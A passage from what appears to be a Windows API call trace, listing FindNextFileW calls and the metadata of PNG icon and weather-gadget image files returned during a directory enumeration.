ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac5a3e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="27.png", cAlternateFileName="")) returned 1 [0209.293] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869d8119, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869d8119, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad3ec17, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="28.png", cAlternateFileName="")) returned 1 [0209.293] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869fe276, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869fe276, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad8aed3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="29.png", cAlternateFileName="")) returned 1 [0209.293] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a243d3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a243d3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad8aed3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.png", cAlternateFileName="")) returned 1 [0209.293] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a243d3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a243d3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad8aed3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="30.png", cAlternateFileName="")) returned 1 [0209.293] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a4a530, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a4a530, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adb1031, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="31.png", cAlternateFileName="")) returned 1 [0209.294] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a7068d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a7068d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adb1031, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="32.png", cAlternateFileName="")) returned 1 [0209.294] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a7068d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a7068d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adb1031, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="33.png", cAlternateFileName="")) returned 1 [0209.294] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a967ea, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a967ea, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="34.png", cAlternateFileName="")) returned 1 [0209.294] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a967ea, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a967ea, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="35.png", cAlternateFileName="")) returned 1 [0209.294] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86abc947, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86abc947, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="36.png", cAlternateFileName="")) returned 1 [0209.294] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86abc947, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86abc947, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="37.png", cAlternateFileName="")) returned 1 [0209.294] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ae2aa4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ae2aa4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adfd2ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="38.png", cAlternateFileName="")) returned 1 [0209.294] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ae2aa4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ae2aa4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adfd2ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="39.png", cAlternateFileName="")) returned 1 [0209.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b08c01, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b08c01, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae495a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 1 [0209.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b2ed5e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b2ed5e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae495a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1874, dwReserved0=0x0, dwReserved1=0x0, cFileName="40.png", cAlternateFileName="")) returned 1 [0209.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b2ed5e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b2ed5e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae495a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="41.png", cAlternateFileName="")) returned 1 [0209.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b54ebb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b54ebb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae6f707, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="42.png", cAlternateFileName="")) returned 1 [0209.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae6f707, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="43.png", cAlternateFileName="")) returned 1 [0209.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ba1175, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ba1175, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="44.png", cAlternateFileName="")) returned 1 [0209.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="45.png", cAlternateFileName="")) returned 1 [0209.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="46.png", cAlternateFileName="")) returned 1 [0209.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="47.png", cAlternateFileName="")) returned 1 [0209.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bed42f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bed42f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="5.png", cAlternateFileName="")) returned 1 [0209.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bed42f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bed42f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.png", cAlternateFileName="")) returned 1 [0209.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c1358c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c1358c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="7.png", cAlternateFileName="")) returned 1 [0209.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c1358c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c1358c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.png", cAlternateFileName="")) returned 1 [0209.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c1358c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c1358c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="9.png", cAlternateFileName="")) returned 1 [0209.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c396e9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c396e9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3032, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0209.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87715a6e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87715a6e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="alertIcon.png", cAlternateFileName="")) returned 1 [0209.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87572b6f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87572b6f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcde, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_down.png", cAlternateFileName="")) returned 1 [0209.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875bee29, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875bee29, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_down_BIDI.png", cAlternateFileName="")) returned 1 [0209.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87598ccc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87598ccc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_over.png", cAlternateFileName="")) returned 1 [0209.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87598ccc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87598ccc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_up.png", cAlternateFileName="")) returned 1 [0209.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875e4f86, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875e4f86, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af2dddd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_down.png", cAlternateFileName="")) returned 1 [0209.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87631240, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87631240, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af7a099, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_down_BIDI.png", cAlternateFileName="")) returned 1 [0209.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8760b0e3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8760b0e3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af7a099, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xde7, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_over.png", cAlternateFileName="")) returned 1 [0209.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8767d4fa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8767d4fa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afa01f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_over_BIDI.png", cAlternateFileName="")) returned 1 [0209.357] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875e4f86, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875e4f86, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afa01f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_up.png", cAlternateFileName="")) returned 1 [0209.357] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8765739d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8765739d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afa01f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_up_BIDI.png", cAlternateFileName="")) returned 1 [0209.357] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876ef911, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876ef911, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afc6355, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xafe, dwReserved0=0x0, dwReserved1=0x0, cFileName="divider-horizontal.png", cAlternateFileName="")) returned 1 [0209.357] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876ef911, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876ef911, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afc6355, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xafd, dwReserved0=0x0, dwReserved1=0x0, cFileName="divider-vertical.png", cAlternateFileName="")) returned 1 [0209.357] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876a3657, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876a3657, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afec4b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2261, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked-loading.png", cAlternateFileName="")) returned 1 [0209.357] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870affcf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870affcf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afec4b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x274e, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_cloudy.png", cAlternateFileName="")) returned 1 [0209.357] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870affcf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870affcf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afec4b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2685, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_few-showers.png", cAlternateFileName="")) returned 1 [0209.357] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b012611, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2930, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_foggy.png", cAlternateFileName="")) returned 1 [0209.476] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b012611, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2e6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_hail.png", cAlternateFileName="")) returned 1 [0209.477] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871223e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871223e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b012611, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-first-quarter.png", cAlternateFileName="")) returned 1 [0209.477] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87148543, ftCreationTime.dwHighDateTime=0x1ca0403, 